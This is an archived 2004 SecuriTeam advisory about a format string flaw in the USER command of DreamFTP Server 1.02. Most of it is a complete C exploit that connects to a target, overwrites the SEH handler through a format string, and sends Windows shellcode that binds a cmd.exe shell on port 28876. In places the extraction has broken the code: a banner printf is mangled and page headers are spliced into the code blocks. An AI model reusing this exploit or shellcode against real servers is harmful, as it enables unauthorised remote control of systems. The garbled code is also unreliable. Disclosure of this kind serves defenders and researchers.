

[EXPL] Format String Vulnerability in DreamFTP (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0054.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 02/18/04

To: list@securiteam.com

Date: 18 Feb 2004 18:48:51 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Format String Vulnerability in DreamFTP (Exploit)

SUMMARY

<<http://www.bolintech.com/>> Dream FTP Server "provides powerful, multi threaded and robust FTP server performance with a user-friendly and easy-of-use interfaces". The Dream FTP server suffers from a format string vulnerability in the USER command. The following exploit code can be used to test this vulnerability.

DETAILS

Vulnerable Systems:

* DreamFTP Server version 1.02

Exploit:

```
#include <stdio.h>
```

```
#include <sys/types.h>
```

```
#include <sys/socket.h>
```

```
#include <netinet/in.h>
```

```
// WIN NT/2K/XP cmd.exe shellcode
```

```
// kernel32.dll baseaddress calculation: OS/SP-independent
```

Securiteam: [EXPL] Format String Vulnerability in DreamFTP (Exploit)

```
// string-save: 00, 0a and 0d free.
// portbinding: port 28876
// looping: reconnect after disconnect
char* shellcode =
"\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52"
"\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1"
"\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
"\xe8\x5f\x5e\xff\xe0\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b"
"\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32"
"\x2e\x64\x68\x77\x73\x32\x5f\x54\xbb\x71\xa7\xe8\xfe\xe8\x90\xff"
"\xff\xff\x89\xef\x89\xc5\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\xfe"
"\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\xff\xff\xff\x31\xc0\x50"
"\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79\xe8\x61\xff\xff"
"\xff\x89\xc6\x31\xc0\x50\x50\x35\x02\x01\x70\xcc\xfe\xcc\x50\x89"
"\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8\x42\xff\xff\xff"
"\x31\xc0\x50\x56\xbb\xd3\xfa\x58\x9b\xe8\x34\xff\xff\xff\x58\x60"
"\x6a\x10\x54\x50\x56\xbb\x47\xf3\x56\xc6\xe8\x23\xff\xff\xff\x89"
"\xc6\x31\xdb\x53\x68\x2e\x63\x6d\x64\x89\xe1\x41\x31\xdb\x56\x56"
"\x56\x53\x53\x31\xc0\xfe\xc4\x40\x50\x53\x53\x53\x53\x53\x53"
"\x53\x53\x53\x6a\x44\x89\xe0\x53\x53\x53\x53\x54\x50\x53\x53\x53"
"\x43\x53\x4b\x53\x53\x51\x53\x87\xfd\xbb\x21\xd0\x05\xd0\xe8\xdf"
"\xfe\xff\xff\x5b\x31\xc0\x48\x50\x53\xbb\x43\xcb\x8d\x5f\xe8\xcf"
"\xfe\xff\xff\x56\x87\xef\xbb\x12\x6b\x6d\xd0\xe8\xc2\xfe\xff\xff"
"\x83\xc4\x5c\x61\xeb\x89";

int main(int argc, char *argv[], char *envp[]) {
    int sock;
    FILE* FILEsock;
    struct sockaddr_in addr;
    int port = 21;
    char buffer[1024];

    if (argc < 2 || argc > 3) {
        printf("Usage: %s IP [PORT]\n", argv[0]);
        exit(-1);
    }
    if (argc == 3) port = atoi(argv[2]);

    printf("-- Nightmare\n");
    -----\n"
        " Dream FTP v1.2 formatstring exploit.\n"
        " Written by SkyLined < SkyLined@EduP.TUDELft.nl>.\n"
        " Credits for the vulnerability go to badpack3t\n"
        " <
badpack3t@security-protocols.com>.\n"
        " Shellcode based on work by H D Moore (www.metasploit.com).\n"
        " Greetings to everyone at Odd and #netric.\n"
        " (K)(L)(F) for Suzan.\n"
        "\n"
        " Binds a shell at %s:28876 if successful.\n"
```

Securiteam: [EXPL] Format String Vulnerability in DreamFTP (Exploit)

" Tested with: WIN2KEN/Dream FTP v1.2 (1.02/TryFTP 1.0.0.1)\n"

```
"-----\n",
    argv[1]);

addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(argv[1]);

if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1 ||
    connect(sock, (struct sockaddr *)&addr, sizeof addr) == -1 ||
    (FILEsock = fdopen(sock, "r+")) == NULL) {
    fprintf(stderr, "\n[-] Connection to %s:%d failed: ", argv[1], port);
    perror(NULL);
    exit(-1);
}

printf("\n[+] Connected to %s:%d.\n", argv[1], port);
do printf(" --> %s", fgets(buffer, sizeof buffer, FILEsock));
while (strstr(buffer, "220-") == buffer);

printf("\n[+] Sending exploit string...\n");
fprintf(FILEsock,
    // Argument 10 points to the SEH handler code, it's RWE so we'll
change
    // the SEH handler to redirect execution to the beginning of our
    // formatstring. When the SEH handler is called [ebx+0x3c] points
    // to the start of our formatstring, we just have to jump over the
    // formatstring exploit itself to our shellcode:
    "\xeb\x29" // Jump over the formatstring exploit
    "%x%x%x%x%x%x%x%x%x%x" // Argument 10 -> SEH
    "%n" // Causes exception after SEH adjustment.
    "@@@" // nopslide landing zone for jump
    "%s\r\n", // shellcode
    0x3C63FF-0x4f, // New SEH code = 0x3C63FF (jmp *0x3c(%ebx) | jmp
[EBX+0x3C])
    shellcode);
fflush(FILEsock);
close(sock);
printf("\n[+] Done, allow a few seconds on a slow target before you
can\n"
    " connect to %s:28876.\n", argv[1]);
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:SkyLined@edup.tudelft.nl>
Berend-Jan Wever.

Securiteam: [EXPL] Format String Vulnerability in DreamFTP (Exploit)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.